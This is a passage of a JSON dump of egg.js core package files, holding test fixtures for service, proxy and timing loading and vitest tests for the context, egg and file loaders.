    "content": "'use strict';\n\nmodule.exports = (app) => {\n  return class Sub2 extends app.Service {\n    constructor(ctx) {\n      super(ctx);\n    }\n\n    *get(name) {\n      return {\n        name: name,\n        bar: 'bar3',\n      };\n    }\n  };\n};\n"
  },
  {
    "path": "packages/core/test/fixtures/subdir-proxy/app/proxy/null.js",
    "content": "'use strict';\n\nmodule.exports = null;\n"
  },
  {
    "path": "packages/core/test/fixtures/subdir-proxy/app/proxy/ok.js",
    "content": "'use strict';\n\nmodule.exports = (app) => {\n  return class OK extends app.Service {\n    constructor(ctx) {\n      super(ctx);\n    }\n\n    *get() {\n      return {\n        ok: true,\n      };\n    }\n  };\n};\n"
  },
  {
    "path": "packages/core/test/fixtures/subdir-proxy/app/proxy/old_style.js",
    "content": "exports.url = function* (ctx) {\n  return ctx.url;\n};\n"
  },
  {
    "path": "packages/core/test/fixtures/subdir-proxy/app/proxy/undefined.js",
    "content": "module.exports = undefined;\n"
  },
  {
    "path": "packages/core/test/fixtures/subdir-proxy/app/proxy/user.js",
    "content": "'use strict';\n\nmodule.exports = function (app) {\n  class User extends app.Service {\n    constructor(ctx) {\n      super(ctx);\n    }\n\n    *get(uid) {\n      return {\n        uid: uid,\n      };\n    }\n  }\n\n  return User;\n};\n"
  },
  {
    "path": "packages/core/test/fixtures/subdir-proxy/app/router.js",
    "content": "module.exports = function (app) {\n  app.get('/', function* () {\n    this.body = {\n      user: yield this.proxy.user.get('123'),\n      cif: yield this.proxy.cif.user.get('123cif'),\n      bar1: yield this.proxy.foo.bar.get('bar1name'),\n      bar2: yield this.proxy.foo.subdir.bar.get('bar2name'),\n      'foo.subdir2.sub2': yield this.proxy.foo.subdir2.sub2.get('bar3name'),\n      subdir11bar: !!this.proxy.foo.subdir1,\n      ok: yield this.proxy.ok.get(),\n      cmd: yield this.proxy.certifyPersonal.mobileHi.doCertify.exec('hihi'),\n      proxyIsSame: this.proxy.certifyPersonal === this.proxy.certifyPersonal,\n      oldStyle: yield this.proxy.oldStyle.url(this),\n    };\n  });\n};\n"
  },
  {
    "path": "packages/core/test/fixtures/subdir-proxy/package.json",
    "content": "{\n  \"name\": \"subdir-proxy\"\n}\n"
  },
  {
    "path": "packages/core/test/fixtures/subdir-services/app/controller/home.js",
    "content": "module.exports = async function () {\n  this.body = {\n    user: await this.service.user.get('123'),\n    cif: await this.service.cif.user.get('123cif'),\n    bar1: await this.service.foo.bar.get('bar1name'),\n    bar2: await this.service.foo.subdir.bar.get('bar2name'),\n    'foo.subdir2.sub2': await this.service.foo.subdir2.sub2.get('bar3name'),\n    subdir11bar: await this.service.foo.subdir1.subdir11.bar.get(),\n    ok: await this.service.ok.get(),\n    cmd: await this.service.certifyPersonal.mobileHi.doCertify.exec('hihi'),\n    serviceIsSame: this.service.certifyPersonal === this.service.certifyPersonal,\n    oldStyle: await this.service.oldStyle.url(this),\n  };\n};\n"
  },
  {
    "path": "packages/core/test/fixtures/subdir-services/app/router.js",
    "content": "module.exports = function (app) {\n  app.get('/', app.controller.home);\n};\n"
  },
  {
    "path": "packages/core/test/fixtures/subdir-services/app/service/certify-personal/mobile-hi/do_certify.js",
    "content": "'use strict';\n\nmodule.exports = function (app) {\n  class Certify extends app.Service {\n    constructor(ctx) {\n      super(ctx);\n    }\n\n    async exec(cmd) {\n      return {\n        cmd: cmd,\n        method: this.ctx.method,\n        url: this.ctx.url,\n      };\n    }\n  }\n\n  return Certify;\n};\n"
  },
  {
    "path": "packages/core/test/fixtures/subdir-services/app/service/cif/user.js",
    "content": "'use strict';\n\nmodule.exports = function (app) {\n  class UserCif extends app.Service {\n    constructor(ctx) {\n      super(ctx);\n    }\n\n    async get(uid) {\n      return {\n        uid: uid,\n        cif: true,\n      };\n    }\n  }\n\n  return UserCif;\n};\n"
  },
  {
    "path": "packages/core/test/fixtures/subdir-services/app/service/foo/bar.js",
    "content": "'use strict';\n\nmodule.exports = function (app) {\n  class Bar extends app.Service {\n    constructor(ctx) {\n      super(ctx);\n    }\n\n    async get(name) {\n      return {\n        name: name,\n        bar: 'bar1',\n      };\n    }\n  }\n\n  return Bar;\n};\n"
  },
  {
    "path": "packages/core/test/fixtures/subdir-services/app/service/foo/subdir/bar.js",
    "content": "'use strict';\n\nmodule.exports = function (app) {\n  class Bar2 extends app.Service {\n    constructor(ctx) {\n      super(ctx);\n    }\n\n    async get(name) {\n      return {\n        name: name,\n        bar: 'bar2',\n      };\n    }\n  }\n\n  return Bar2;\n};\n"
  },
  {
    "path": "packages/core/test/fixtures/subdir-services/app/service/foo/subdir1/subdir11/bar.js",
    "content": "'use strict';\n\nmodule.exports = function (app) {\n  class Bar111 extends app.Service {\n    constructor(ctx) {\n      super(ctx);\n    }\n\n    async get(name) {\n      return {\n        name: name,\n        bar: 'bar111',\n      };\n    }\n  }\n\n  return Bar111;\n};\n"
  },
  {
    "path": "packages/core/test/fixtures/subdir-services/app/service/foo/subdir2/sub2.js",
    "content": "'use strict';\n\nmodule.exports = (app) => {\n  return class Sub2 extends app.Service {\n    constructor(ctx) {\n      super(ctx);\n    }\n\n    async get(name) {\n      return {\n        name: name,\n        bar: 'bar3',\n      };\n    }\n  };\n};\n"
  },
  {
    "path": "packages/core/test/fixtures/subdir-services/app/service/null.js",
    "content": "'use strict';\n\nmodule.exports = null;\n"
  },
  {
    "path": "packages/core/test/fixtures/subdir-services/app/service/ok.js",
    "content": "'use strict';\n\nmodule.exports = (app) => {\n  return class OK extends app.Service {\n    constructor(ctx) {\n      super(ctx);\n    }\n\n    async get() {\n      return {\n        ok: true,\n      };\n    }\n  };\n};\n"
  },
  {
    "path": "packages/core/test/fixtures/subdir-services/app/service/old_style.js",
    "content": "exports.url = async (ctx) => {\n  return ctx.url;\n};\n"
  },
  {
    "path": "packages/core/test/fixtures/subdir-services/app/service/undefined.js",
    "content": "module.exports = undefined;\n"
  },
  {
    "path": "packages/core/test/fixtures/subdir-services/app/service/user.js",
    "content": "'use strict';\n\nmodule.exports = function (app) {\n  class User extends app.Service {\n    constructor(ctx) {\n      super(ctx);\n    }\n\n    async get(uid) {\n      return {\n        uid: uid,\n      };\n    }\n  }\n\n  return User;\n};\n"
  },
  {
    "path": "packages/core/test/fixtures/subdir-services/package.json",
    "content": "{\n  \"name\": \"subdir-services\"\n}\n"
  },
  {
    "path": "packages/core/test/fixtures/syntaxerror/app.js",
    "content": "'use strict';\n\nmodule.exports = function (app) {\n\n"
  },
  {
    "path": "packages/core/test/fixtures/syntaxerror/package.json",
    "content": "{\n  \"name\": \"syntaxerror\"\n}\n"
  },
  {
    "path": "packages/core/test/fixtures/timing/agent.js",
    "content": "'use strict';\n\nconst block = require('./block');\n\nmodule.exports = (agent) => {\n  block();\n\n  agent.beforeStart(function* () {\n    block();\n  });\n};\n"
  },
  {
    "path": "packages/core/test/fixtures/timing/app/controler/home.js",
    "content": "'use strict';\n\nrequire('../../block')();\n"
  },
  {
    "path": "packages/core/test/fixtures/timing/app/extend/application.js",
    "content": "'use strict';\n\nmodule.exports = {};\n"
  },
  {
    "path": "packages/core/test/fixtures/timing/app/middleware/auth.js",
    "content": "'use strict';\n\nmodule.exports = () => {\n  return function* () {};\n};\n"
  },
  {
    "path": "packages/core/test/fixtures/timing/app/proxy/a.js",
    "content": "'use strict';\n\nmodule.exports = () => {};\n"
  },
  {
    "path": "packages/core/test/fixtures/timing/app/router.js",
    "content": "'use strict';\n\nrequire('../block')();\n"
  },
  {
    "path": "packages/core/test/fixtures/timing/app/service/home.js",
    "content": "'use strict';\n\nrequire('../../block')();\n"
  },
  {
    "path": "packages/core/test/fixtures/timing/app.js",
    "content": "'use strict';\n\nconst path = require('path');\nconst block = require('./block');\n\nmodule.exports = (app) => {\n  block();\n\n  app.beforeStart(function* () {\n    block();\n  });\n\n  app.beforeStart(function* () {\n    block();\n  }, 'mock Block');\n\n  const cb = app.readyCallback('mockReadyCallbackWithoutFunction');\n  setTimeout(cb, 1000);\n\n  const directory = path.join(app.baseDir, 'app/proxy');\n  app.loader.loadToContext(directory, 'proxy');\n\n  app.loader.loadController();\n};\n"
  },
  {
    "path": "packages/core/test/fixtures/timing/block.js",
    "content": "'use strict';\n\nmodule.exports = () => {\n  const start = Date.now();\n  while (Date.now() - start < 1000) {}\n};\n"
  },
  {
    "path": "packages/core/test/fixtures/timing/config/config.default.js",
    "content": "'use strict';\n\nrequire('../block')();\n"
  },
  {
    "path": "packages/core/test/fixtures/timing/config/plugin.js",
    "content": "'use strict';\n\nrequire('../block')();\n"
  },
  {
    "path": "packages/core/test/fixtures/timing/index.js",
    "content": "'use strict';\n\nconst fs = require('fs');\nconst path = require('path');\n\nconst EggApplication = require('../egg').Application;\nconst utils = require('../../utils');\n\nclass Application extends EggApplication {\n  get [Symbol.for('egg#eggPath')]() {\n    return __dirname;\n  }\n  toJSON() {\n    return {\n      name: this.name,\n      plugins: this.plugins,\n      config: this.config,\n    };\n  }\n}\n\nconst app = utils.createApp('application', { Application });\napp.loader.loadAll();\napp.ready((err) => {\n  fs.writeFileSync(path.join(__dirname, 'timing.json'), JSON.stringify(app.timing.toJSON()));\n  process.exit(err ? 1 : 0);\n});\n"
  },
  {
    "path": "packages/core/test/fixtures/timing/package.json",
    "content": "{\n  \"name\": \"egg-core\"\n}\n"
  },
  {
    "path": "packages/core/test/fixtures/timing/preload.js",
    "content": "process.scriptStartTime = Date.now();\n"
  },
  {
    "path": "packages/core/test/helper.ts",
    "content": "import path from 'node:path';\nimport { fileURLToPath } from 'node:url';\n\nimport type { EggCore } from '../src/index.ts';\n\nimport {\n  Application,\n  type EggCoreInitOptions,\n  // @ts-ignore\n} from './fixtures/egg-esm/index.ts';\n\n// @ts-ignore\nexport { Application } from './fixtures/egg-esm/index.ts';\n\nconst __filename = fileURLToPath(import.meta.url);\nconst __dirname = path.dirname(__filename);\n\nexport function getFilepath(name: string): string {\n  const filepath = path.join(__dirname, 'fixtures', name);\n  if (process.platform === 'win32') {\n    return filepath.toLowerCase();\n  }\n  return filepath;\n}\n\nexport function createApp(name: string, options?: EggCoreInitOptions & { Application?: typeof EggCore }): Application {\n  const baseDir = getFilepath(name);\n  options = options ?? {};\n  options.baseDir = baseDir;\n  options.type = options.type ?? 'application';\n\n  const CustomApplication = options.Application ?? Application;\n  return new CustomApplication(options) as Application;\n}\n\nexport const symbol: {\n  view: symbol;\n} = {\n  view: Symbol('view'),\n};\n"
  },
  {
    "path": "packages/core/test/index.test.ts",
    "content": "import { strict as assert } from 'node:assert';\n\nimport { test, expect } from 'vitest';\n\nimport * as EggCore from '../src/index.ts';\nimport type { EggAppConfig } from '../src/index.ts';\n\ntest('should expose properties', () => {\n  expect(Object.keys(EggCore).sort()).matchSnapshot();\n});\n\ntest('should expose types', () => {\n  const config = {\n    coreMiddleware: [],\n    middleware: [],\n  } as EggAppConfig;\n  assert(config.middleware);\n  assert(config.coreMiddleware);\n});\n"
  },
  {
    "path": "packages/core/test/lifecycle.test.ts",
    "content": "import { strict as assert } from 'node:assert';\n\nimport { describe, it } from 'vitest';\n\nimport { EggCore } from '../src/egg.ts';\nimport { Lifecycle } from '../src/lifecycle.ts';\n\ndescribe('test/lifecycle.test.ts', () => {\n  it('should forbid adding hook after initialization', () => {\n    const lifecycle = new Lifecycle({\n      baseDir: '.',\n      app: new EggCore(),\n    });\n\n    lifecycle.init();\n    assert.throws(() => {\n      lifecycle.addBootHook(\n        class Hook {\n          app: EggCore;\n          constructor(app: EggCore) {\n            this.app = app;\n          }\n          configDidLoad() {\n            console.log('test');\n          }\n        },\n      );\n    }, /do not add hook when lifecycle has been initialized/);\n\n    assert.throws(() => {\n      lifecycle.addFunctionAsBootHook(() => {\n        console.log('test');\n      });\n    }, /do not add hook when lifecycle has been initialized/);\n  });\n});\n"
  },
  {
    "path": "packages/core/test/loader/context_loader.test.ts",
    "content": "import { request } from '@eggjs/supertest';\nimport { describe, it, beforeAll, afterAll } from 'vitest';\n\nimport { createApp, getFilepath, type Application } from '../helper.js';\n\ndescribe('test/loader/context_loader.test.ts', () => {\n  let app: Application;\n  beforeAll(() => {\n    app = createApp('context-loader');\n    return app.loader.loadAll();\n  });\n\n  afterAll(async () => {\n    await app.close();\n  });\n\n  it('should load files ', async () => {\n    const directory = getFilepath('context-loader/app/depth');\n    await app.loader.loadToContext(directory, 'depth');\n\n    await request(app.callback())\n      .get('/depth')\n      .expect({\n        one: 'context:one',\n        two: 'context:two',\n        three: 'context:three',\n        four: 'context:four',\n      })\n      .expect(200);\n  });\n\n  it('should load different types', async () => {\n    const directory = getFilepath('context-loader/app/type');\n    await app.loader.loadToContext(directory, 'type');\n\n    await request(app.callback())\n      .get('/type')\n      .expect({\n        class: 'context',\n        functionClass: 'context:config',\n        generator: 'generator',\n        object: 'object.get',\n        number: 1,\n      })\n      .expect(200);\n  });\n\n  it('should use different cache key', async () => {\n    const service1Dir = getFilepath('context-loader/app/service1');\n    await app.loader.loadToContext(service1Dir, 'service1');\n    const service2Dir = getFilepath('context-loader/app/service2');\n    await app.loader.loadToContext(service2Dir, 'service2');\n\n    await request(app.callback())\n      .get('/service')\n      .expect({\n        service1: 'service1',\n        service2: 'service2',\n      })\n      .expect(200);\n  });\n\n  it('should load file with pathname and config', async () => {\n    const directory = getFilepath('context-loader/app/pathname');\n    await app.loader.loadToContext(directory, 'pathname');\n\n    await request(app.callback()).get('/pathname').expect('pathname.a.b.c').expect(200);\n\n    await request(app.callback()).get('/config').expect('config').expect(200);\n  });\n\n  it('should load file with service', () => {\n    return request(app.callback()).get('/BaseContextClass/service').expect('user:post').expect(200);\n  });\n});\n"
  },
  {
    "path": "packages/core/test/loader/egg_loader.test.ts",
    "content": "import assert from 'node:assert/strict';\nimport os from 'node:os';\nimport path from 'node:path';\n\nimport { getPlugins } from '@eggjs/utils';\nimport { mm } from 'mm';\nimport { describe, it, beforeAll, afterAll, afterEach } from 'vitest';\n\nimport { EggLoader } from '../../src/index.js';\nimport { createApp, getFilepath, type Application } from '../helper.js';\n\ndescribe('test/loader/egg_loader.test.ts', () => {\n  let app: Application;\n  beforeAll(() => {\n    app = createApp('nothing');\n  });\n\n  afterAll(() => app.close());\n\n  it('should container FileLoader and ContextLoader', () => {\n    assert(app.loader.FileLoader);\n    assert(app.loader.ContextLoader);\n  });\n\n  describe('loader.getHomedir()', () => {\n    afterEach(mm.restore);\n\n    it('should return process.env.HOME', () => {\n      if (os.userInfo && os.userInfo().homedir) {\n        const userInfo = os.userInfo();\n        (userInfo as any).homedir = undefined;\n        mm(os, 'userInfo', () => userInfo);\n      }\n      assert.equal(app.loader.getHomedir(), process.env.HOME);\n    });\n\n    it('should return /home/admin when process.env.HOME is not exist', () => {\n      mm(process.env, 'HOME', '');\n      mm(os, 'userInfo', null);\n      mm(os, 'homedir', null);\n      assert.equal(app.loader.getHomedir(), '/home/admin');\n    });\n\n    it('should return when EGG_HOME exists', () => {\n      mm(process.env, 'EGG_HOME', '/path/to/home');\n      assert.equal(app.loader.getHomedir(), '/path/to/home');\n    });\n  });\n\n  describe('new Loader()', () => {\n    it('should pass', async () => {\n      const loader = new EggLoader({\n        baseDir: getFilepath('nothing'),\n        app: {},\n        logger: console,\n      } as any);\n      await loader.loadPlugin();\n    });\n\n    it.skip('should get plugin with @eggjs/utils', async () => {\n      await getPlugins({\n        baseDir: getFilepath('nothing'),\n        framework: getFilepath('egg-esm'),\n      });\n    });\n\n    it('should loadFile auto resolve file', async () => {\n      const loader = new EggLoader({\n        baseDir: getFilepath('nothing'),\n        app: {},\n        logger: console,\n      } as any);\n\n      let ret = await loader.loadFile(getFilepath('load_file/function.js'), 1, 2);\n      assert.equal(ret[0], 1);\n      assert.equal(ret[1], 2);\n\n      ret = await loader.loadFile(getFilepath('load_file/function'), 1, 2);\n      assert.equal(ret[0], 1);\n      assert.equal(ret[1], 2);\n    });\n  });\n\n  it('should be loaded by loadToApp, support symbol property', async () => {\n    const baseDir = getFilepath('load_to_app');\n    const directory = path.join(baseDir, 'app/model');\n    const prop = Symbol('prop');\n    const app = {};\n    const loader = new EggLoader({\n      baseDir,\n      app,\n      logger: console,\n    } as any);\n    await loader.loadToApp(directory, prop);\n    assert(Reflect.get(app, prop).user);\n  });\n\n  it('should be loaded by loadToContext', async () => {\n    const baseDir = getFilepath('load_to_app');\n    const directory = path.join(baseDir, 'app/service');\n    const prop = Symbol('prop');\n    const app = { context: {} };\n    const loader = new EggLoader({\n      baseDir,\n      app,\n      logger: console,\n    } as any);\n    await loader.loadToContext(directory, prop);\n    assert(Reflect.get(app.context, prop).user);\n  });\n\n  describe('resolveModule with outDir', () => {\n    afterEach(mm.restore);\n\n    it('should resolve from outDir configured in package.json egg.outDir', () => {\n      const baseDir = getFilepath('app-outdir-pkg');\n      const loader = new EggLoader({\n        baseDir,\n        app: {},\n        logger: console,\n      } as any);\n      assert.equal(loader.outDir, 'dist');\n      // config/config.default does not exist as source, only as compiled output in dist/\n      const configPath = path.join(baseDir, 'config', 'config.default');\n      const resolved = loader.resolveModule(configPath);\n      assert(resolved);\n      assert(resolved.endsWith(path.join('dist', 'config', 'config.default.js')));\n    });\n\n    it('should resolve from outDir auto-detected from tsconfig.json', () => {\n      const baseDir = getFilepath('app-outdir-tsconfig');\n      const loader = new EggLoader({\n        baseDir,\n        app: {},\n        logger: console,\n      } as any);\n      assert.equal(loader.outDir, 'build');\n      const configPath = path.join(baseDir, 'config', 'config.default');\n      const resolved = loader.resolveModule(configPath);\n      assert(resolved);\n      assert(resolved.endsWith(path.join('build', 'config', 'config.default.js')));\n    });\n\n    it('should prefer package.json egg.outDir over tsconfig.json', () => {\n      const baseDir = getFilepath('app-outdir-precedence');\n      const loader = new EggLoader({\n        baseDir,\n        app: {},\n        logger: console,\n      } as any);\n      assert.equal(loader.outDir, 'dist');\n      const configPath = path.join(baseDir, 'config', 'config.default');\n      const resolved = loader.resolveModule(configPath);\n      assert(resolved);\n      assert(resolved.endsWith(path.join('dist', 'config', 'config.default.js')));\n    });\n\n    it('should not have outDir when neither egg.outDir nor tsconfig.json outDir is set', () => {\n      const baseDir = getFilepath('nothing');\n      const loader = new EggLoader({\n        baseDir,\n        app: {},\n        logger: console,\n      } as any);\n      assert.equal(loader.outDir, undefined);\n    });\n\n    it('should return undefined when file not found in outDir', () => {\n      const baseDir = getFilepath('app-outdir-pkg');\n      const loader = new EggLoader({\n        baseDir,\n        app: {},\n        logger: console,\n      } as any);\n      const nonExistent = path.join(baseDir, 'config', 'non-existent');\n      const resolved = loader.resolveModule(nonExistent);\n      assert.equal(resolved, undefined);\n    });\n\n    it('should not fallback for paths outside baseDir', () => {\n      const baseDir = getFilepath('app-outdir-pkg');\n      const loader = new EggLoader({\n        baseDir,\n        app: {},\n        logger: console,\n      } as any);\n      const outsidePath = path.join(getFilepath('nothing'), 'config', 'config.default');\n      const resolved = loader.resolveModule(outsidePath);\n      assert.equal(resolved, undefined);\n    });\n  });\n});\n"
  },
  {
    "path": "packages/core/test/loader/file_loader.test.ts",
    "content": "import assert from 'node:assert/strict';\nimport path from 'node:path';\n\nimport { isClass } from 'is-type-of';\nimport yaml from 'js-yaml';\nimport { describe, it, expect } from 'vitest';\n\nimport { FileLoader, CaseStyle } from '../../src/loader/file_loader.ts';\nimport { getFilepath } from '../helper.ts';\n\nconst dirBase = getFilepath('load_dirs');\n\ndescribe('test/loader/file_loader.test.ts', () => {\n  it('should load files with package.json#exports', async () => {\n    const directory = path.join(__dirname, '../../../../plugins/mock/src/app/middleware');\n    const services: Record<string, any> = {};\n    await new FileLoader({\n      directory,\n      target: services,\n    }).load();\n    expect(services.clusterAppMock).toBeDefined();\n  });\n\n  it('should load files', async () => {\n    const services: Record<string, any> = {};\n    await new FileLoader({\n      directory: path.join(dirBase, 'services'),\n      target: services,\n    }).load();\n\n    assert(services.dir.abc);\n    assert(services.dir.service);\n    assert(services.foo);\n    assert(services.fooBarHello);\n    assert(services.fooService);\n    assert(services.hyphenDir.a);\n    assert(services.underscoreDir.a);\n    assert(services.userProfile);\n    assert('load' in services.dir.service);\n    assert('app' in services.dir.service);\n    assert.equal(services.dir.service.load, true);\n\n    await Promise.all([\n      new Promise<void>((resolve) => {\n        services.foo.get((err: Error, v: string) => {\n          assert.ifError(err);\n          assert.equal(v, 'bar');\n          resolve();\n        });\n      }),\n      new Promise<void>((resolve) => {\n        services.userProfile.getByName('mk2', (err: Error, user: object) => {\n          assert.ifError(err);\n          assert.deepEqual(user, { name: 'mk2' });\n          resolve();\n        });\n      }),\n    ]);\n  });\n\n  it('should not overwrite property', async () => {\n    const app = {\n      services: {\n        foo: {},\n      },\n    };\n    await assert.rejects(async () => {\n      await new FileLoader({\n        directory: path.join(dirBase, 'services'),\n        target: app.services,\n      }).load();\n    }, /can't overwrite property 'foo'/);\n  });\n\n  it('should not overwrite property from loading', async () => {\n    const app: Record<string, any> = { services: {} };\n    await assert.rejects(async () => {\n      await new FileLoader({\n        directory: [path.join(dirBase, 'services'), path.join(dirBase, 'overwrite_services')],\n        target: app.services,\n      }).load();\n    }, /can't overwrite property 'foo'/);\n  });\n\n  it('should overwrite property from loading', async () => {\n    const app = { services: {} };\n    await new FileLoader({\n      directory: [path.join(dirBase, 'services'), path.join(dirBase, 'overwrite_services')],\n      override: true,\n      target: app.services,\n    }).load();\n  });\n\n  it('should loading without call function', async () => {\n    const app: Record<string, any> = { services: {} };\n    await new FileLoader({\n      directory: path.join(dirBase, 'services'),\n      target: app.services,\n      call: false,\n    }).load();\n    assert.deepEqual(app.services.fooService(), { a: 1 });\n  });\n\n  it('should loading without call es6 class', async () => {\n    const app: Record<string, any> = { services: {} };\n    await new FileLoader({\n      directory: path.join(dirBase, 'class'),\n      target: app.services,\n    }).load();\n    assert.throws(() => {\n      app.services.UserProxy();\n    }, /cannot be invoked without 'new'/);\n    const instance = new app.services.UserProxy();\n    assert.deepEqual(instance.getUser(), { name: 'xiaochen.gaoxc' });\n  });\n\n  it('should loading without call babel class', async () => {\n    const app: Record<string, any> = { services: {} };\n    await new FileLoader({\n      directory: path.join(dirBase, 'babel'),\n      target: app.services,\n    }).load();\n    const instance = new app.services.UserProxy();\n    assert.deepEqual(instance.getUser(), { name: 'xiaochen.gaoxc' });\n  });\n\n  it('should only load property match the filers', async () => {\n    const app: Record<string, any> = { middlewares: {} };\n    await new FileLoader({\n      directory: [path.join(dirBase, 'middlewares/default'), path.join(dirBase, 'middlewares/app')],\n      target: app.middlewares,\n      call: false,\n      // filters: [ 'm1', 'm2', 'dm1', 'dm2' ],\n    }).load();\n    assert(app.middlewares.m1);\n    assert(app.middlewares.m2);\n    assert(app.middlewares.dm1);\n    assert(app.middlewares.dm2);\n  });\n\n  it('should support ignore string', async () => {\n    const app: Record<string, any> = { services: {} };\n    await new FileLoader({\n      directory: path.join(dirBase, 'ignore'),\n      target: app.services,\n      ignore: 'util/**',\n    }).load();\n    assert.equal(app.services.a.a, 1);\n  });\n\n  it('should support ignore array', async () => {\n    const app: Record<string, any> = { services: {} };\n    await new FileLoader({\n      directory: path.join(dirBase, 'ignore'),\n      target: app.services,\n      ignore: ['util/a.js', 'util/b/b.js'],\n    }).load();\n    assert.equal(app.services.a.a, 1);\n  });\n\n  it('should support lowercase first letter', async () => {\n    const app: Record<string, any> = { services: {} };\n    await new FileLoader({\n      directory: path.join(dirBase, 'lowercase'),\n      target: app.services,\n      lowercaseFirst: true,\n    }).load();\n    assert(app.services.someClass);\n    assert(app.services.someDir);\n    assert(app.services.someDir.someSubClass);\n  });\n\n  it('should support options.initializer with es6 class', async () => {\n    const app: Record<string, any> = { dao: {} };\n    await new FileLoader({\n      directory: path.join(dirBase, 'dao'),\n      target: app.dao,\n      ignore: 'util/**',\n      initializer(exports: any, opt) {\n        return new exports(app, opt.path);\n      },\n    }).load();\n    assert(app.dao.TestClass);\n    assert.deepEqual(app.dao.TestClass.user, { name: 'kai.fangk' });\n    assert.equal(app.dao.TestClass.app, app);\n    assert.equal(app.dao.TestClass.path, path.join(dirBase, 'dao/TestClass.js'));\n    assert.deepEqual(app.dao.testFunction.user, { name: 'kai.fangk' });\n    assert.deepEqual(app.dao.testReturnFunction.user, { name: 'kai.fangk' });\n  });\n\n  it('should support options.initializer custom type', async () => {\n    const app: Record<string, any> = { yml: {} };\n    await new FileLoader({\n      directory: path.join(dirBase, 'yml'),\n      match: '**/*.yml',\n      target: app.yml,\n      initializer(exports: any) {\n        return yaml.load(exports.toString());\n      },\n    }).load();\n    assert(app.yml.config);\n    assert.deepEqual(app.yml.config.map, { a: 1, b: 2 });\n  });\n\n  it('should pass es6 module', async () => {\n    const app: Record<string, any> = { model: {} };\n    await new FileLoader({\n      directory: path.join(dirBase, 'es6_module'),\n      target: app.model,\n    }).load();\n    assert.equal(app.model.mod.a, 1);\n  });\n\n  it('should pass ts module', async () => {\n    const app: Record<string, any> = { model: {} };\n    await new FileLoader({\n      directory: path.join(dirBase, 'ts_module'),\n      target: app.model,\n    }).load();\n    assert.equal(app.model.mod.a, 1);\n    assert.equal(app.model.mod2.foo, 'bar');\n    assert(app.model.mod2.HelloFoo);\n    assert.equal(app.model.mod3.ok, true);\n    assert.equal(app.model.mod3.foo, 'bar');\n  });\n\n  it('should contain syntax error filepath', async () => {\n    const app: Record<string, any> = { model: {} };\n    await assert.rejects(async () => {\n      await new FileLoader({\n        directory: path.join(dirBase, 'syntax_error'),\n        target: app.model,\n      }).load();\n    }, /error: Unexpected identifier|Expected|A 'yield' expression is only allowed in a generator body/);\n  });\n\n  it('should throw when directory contains dot', async () => {\n    const mod = {};\n    await assert.rejects(async () => {\n      await new FileLoader({\n        directory: path.join(dirBase, 'error/dotdir'),\n        target: mod,\n      }).load();\n    }, /dot.dir is not match 'a-z0-9_-' in dot.dir\\/a.js/);\n  });\n\n  it('should throw when directory contains underscore', async () => {\n    const mod: Record<string, any> = {};\n    await assert.rejects(async () => {\n      await new FileLoader({\n        directory: path.join(dirBase, 'error/underscore-dir'),\n        target: mod,\n      }).load();\n    }, /_underscore is not match 'a-z0-9_-' in _underscore\\/a.js/);\n    await assert.rejects(async () => {\n      await new FileLoader({\n        directory: path.join(dirBase, 'error/underscore-file-in-dir'),\n        target: mod,\n      }).load();\n    }, /_a is not match 'a-z0-9_-' in dir\\/_a.js/);\n  });\n\n  it('should throw when file starts with underscore', async () => {\n    const mod: Record<string, any> = {};\n    await assert.rejects(async () => {\n      await new FileLoader({\n        directory: path.join(dirBase, 'error/underscore-file'),\n        target: mod,\n      }).load();\n    }, /_private is not match 'a-z0-9_-' in _private.js/);\n  });\n\n  describe('caseStyle', () => {\n    it('should load when caseStyle = upper', async () => {\n      const target: Record<string, any> = {};\n      await new FileLoader({\n        directory: path.join(dirBase, 'camelize'),\n        target,\n        caseStyle: CaseStyle.upper,\n      }).load();\n\n      assert(target.FooBar1);\n      assert(target.FooBar2);\n      assert(target.FooBar3);\n      assert(target.FooBar4);\n    });\n\n    it('should load when caseStyle = camel', async () => {\n      const target: Record<string, any> = {};\n      await new FileLoader({\n        directory: path.join(dirBase, 'camelize'),\n        target,\n        caseStyle: CaseStyle.camel,\n      }).load();\n\n      assert(target.fooBar1);\n      assert(target.fooBar2);\n      assert(target.FooBar3);\n      assert(target.fooBar4);\n    });\n\n    it('should load when caseStyle = lower', async () => {\n      const target: Record<string, any> = {};\n      await new FileLoader({\n        directory: path.join(dirBase, 'camelize'),\n        target,\n        caseStyle: CaseStyle.lower,\n      }).load();\n\n      assert(target.fooBar1);\n      assert(target.fooBar2);\n      assert(target.fooBar3);\n      assert(target.fooBar4);\n    });\n\n    it('should load when caseStyle is function', async () => {\n      const target: Record<string, any> = {};\n      await new FileLoader({\n        directory: path.join(dirBase, 'camelize'),\n        target,\n        caseStyle(filepath) {\n          return filepath\n            .replace('.js', '')\n            .split('/')\n            .map((property) => property.replaceAll('_', ''));\n        },\n      }).load();\n\n      assert(target.foobar1);\n      assert(target.fooBar2);\n      assert(target.FooBar3);\n      assert(target['foo-bar4']);\n    });\n\n    it('should throw when caseStyle do not return array', async () => {\n      const target: Record<string, any> = {};\n      await assert.rejects(async () => {\n        await new FileLoader({\n          directory: path.join(dirBase, 'camelize'),\n          target,\n          caseStyle(filepath: string) {\n            return filepath as any;\n          },\n        }).load();\n      }, /caseStyle expect an array, but got/);\n    });\n\n    it('should be overridden by lowercaseFirst', async () => {\n      const target: Record<string, any> = {};\n      await new FileLoader({\n        directory: path.join(dirBase, 'camelize'),\n        target,\n        caseStyle: CaseStyle.upper,\n        lowercaseFirst: true,\n      }).load();\n\n      assert(target.fooBar1);\n      assert(target.fooBar2);\n      assert(target.fooBar3);\n      assert(target.fooBar4);\n    });\n  });\n\n  it('should load files with inject', async () => {\n    const inject: Record<string, any> = {};\n    const target: Record<string, any> = {};\n    await new FileLoader({\n      directory: path.join(dirBase, 'inject'),\n      target,\n      inject,\n    }).load();\n\n    assert.equal(inject.b, true);\n\n    const instance = new target.a(inject);\n    assert(instance);\n    assert.equal(inject.a, true);\n  });\n\n  it('should load files with filter', async () => {\n    const target: Record<string, any> = {};\n    await new FileLoader({\n      directory: path.join(dirBase, 'filter'),\n      target,\n      filter(obj) {\n        return Array.isArray(obj);\n      },\n    }).load();\n    assert.deepEqual(Object.keys(target), ['arr']);\n\n    await new FileLoader({\n      directory: path.join(dirBase, 'filter'),\n      target,\n      filter(obj) {\n        return isClass(obj);\n      },\n    }).load();\n    assert.deepEqual(Object.keys(target), ['arr', 'class']);\n  });\n});\n"
  },
  {
    "path": "packages/core/test/loader/get_app_info.test.ts",
